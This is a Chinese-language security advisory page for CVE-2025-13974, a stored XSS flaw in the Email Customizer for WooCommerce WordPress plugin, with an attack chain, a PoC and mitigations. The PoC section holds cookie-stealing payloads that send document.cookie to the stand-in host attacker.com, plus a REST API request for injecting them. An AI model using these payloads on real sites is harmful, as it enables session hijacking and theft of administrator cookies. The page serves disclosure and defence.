IPBUF安全漏洞报告
English
CVE-2025-13974 CVSS 4.4 中危

CVE-2025-13974: Email Customizer for WooCommerce插件存储型XSS漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-13974
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
4.4 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Email Customizer for WooCommerce plugin for WordPress

相关标签

CVE-2025-13974WordPress插件漏洞存储型XSSEmail Customizer for WooCommerceWooCommerce跨站脚本攻击CMS安全电子商务安全WordPress安全

漏洞概述

Email Customizer for WooCommerce是WordPress平台上一款广受欢迎的WooCommerce邮件自定义插件,允许商家自定义交易邮件模板。然而,该插件在2.6.7及之前的所有版本中存在严重的存储型跨站脚本(Stored XSS)漏洞。漏洞的根本原因在于插件对邮件模板内容的输入清理不足,同时缺少适当的输出转义处理。攻击者通过利用管理员级别权限,可以在邮件模板中注入任意JavaScript代码。这些恶意脚本会被永久存储在数据库中,当客户或管理员查看包含恶意内容的交易邮件时,注入的脚本将在其浏览器上下文中执行。此漏洞主要影响多站点WordPress安装环境,以及那些禁用了unfiltered_html功能的单站点安装。由于攻击利用需要管理员权限,且目标主要是邮件模板内容,攻击场景相对受限,但仍可能对用户隐私和网站信誉造成严重影响。攻击成功后,攻击者可窃取会话Cookie、劫持用户账户、执行未经授权的操作,或将用户重定向至钓鱼网站。

技术细节

该漏洞位于插件的class-wecmf-general-template.php文件第213行附近,具体是处理邮件模板内容的逻辑中。插件在保存邮件模板时,未对用户输入进行充分的HTML标签过滤和特殊字符转义。正常情况下,WordPress会通过unfiltered_html机制限制未授权用户提交原始HTML内容,但在多站点环境中或手动禁用该功能后,管理员可以提交包含JavaScript代码的原始HTML。当邮件模板被渲染并发送时,注入的恶意脚本会被包含在邮件HTML内容中。由于现代邮件客户端通常会阻止HTML邮件中的JavaScript执行,攻击的主要目标转向网站管理员后台界面。当管理员在WordPress后台预览或编辑邮件模板时,恶意脚本会在管理员的浏览器会话中执行,从而实现会话劫持或进一步的攻击行为。攻击者首先需要获得管理员权限,然后通过插件的邮件模板编辑功能插入恶意脚本,最后等待其他管理员或用户触发漏洞。CVSS 3.1评分4.4反映了该漏洞需要高权限、攻击复杂度较高、且影响范围相对有限的特点。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress站点管理员账户凭据,可以通过暴力破解、钓鱼攻击、密码复用或利用其他漏洞实现
STEP 2
步骤2
以管理员身份登录WordPress后台,导航至WooCommerce > Email Customizer插件的邮件模板编辑界面
STEP 3
步骤3
在邮件模板内容编辑框中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>,利用插件对输入内容缺乏充分清理的缺陷
STEP 4
步骤4
保存修改后的邮件模板,恶意脚本被永久存储在数据库中,影响所有使用该模板的邮件
STEP 5
步骤5
当其他管理员预览邮件模板或在后台管理界面查看相关内容时,恶意脚本在管理员浏览器会话中执行
STEP 6
步骤6
攻击者通过JavaScript获取管理员的认证Cookie或执行其他恶意操作,实现会话劫持或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-13974 PoC - Email Customizer for WooCommerce Stored XSS // Requires administrator privileges // Malicious payload to be inserted in email template content: // <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> // Attack steps: // 1. Login to WordPress with administrator account // 2. Navigate to WooCommerce > Email Customizer // 3. Edit any email template (e.g., Order Confirmation) // 4. Insert the XSS payload in template content area // 5. Save the template // 6. When any user views the email or template preview, XSS triggers const payload = ` <img src=x onerror="document.location='https://attacker.com/steal?c='+document.cookie"> `; // Example WordPress REST API exploit (if authenticated as admin): const exploit = { method: 'POST', url: '/wp-json/wc/v1/settings/general-template', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': 'YOUR_NONCE', 'Cookie': 'wordpress_admin_cookie' }, body: JSON.stringify({ template_content: '<div>' + payload + '</div>', template_type: 'order_complete' }) }; console.log('CVE-2025-13974 - Stored XSS in Email Customizer for WooCommerce'); console.log('Target: WordPress with Email Customizer plugin <= 2.6.7'); console.log('Required: Administrator privileges');

影响范围

Email Customizer for WooCommerce <= 2.6.7(所有版本)

防御指南

临时缓解措施
在无法立即升级插件的情况下,可采取以下临时缓解措施:首先,审查所有具有管理员权限的用户账户,移除不必要的管理员账户;其次,限制Email Customizer插件的访问权限,仅允许受信任的管理员使用;在wp-config.php中确保DISALLOW_UNFILTERED_HTML常量设置为true;最后,考虑暂时禁用邮件模板自定义功能,使用WooCommerce默认邮件模板。同时建议加强网站监控,关注异常的管理员操作和邮件发送行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表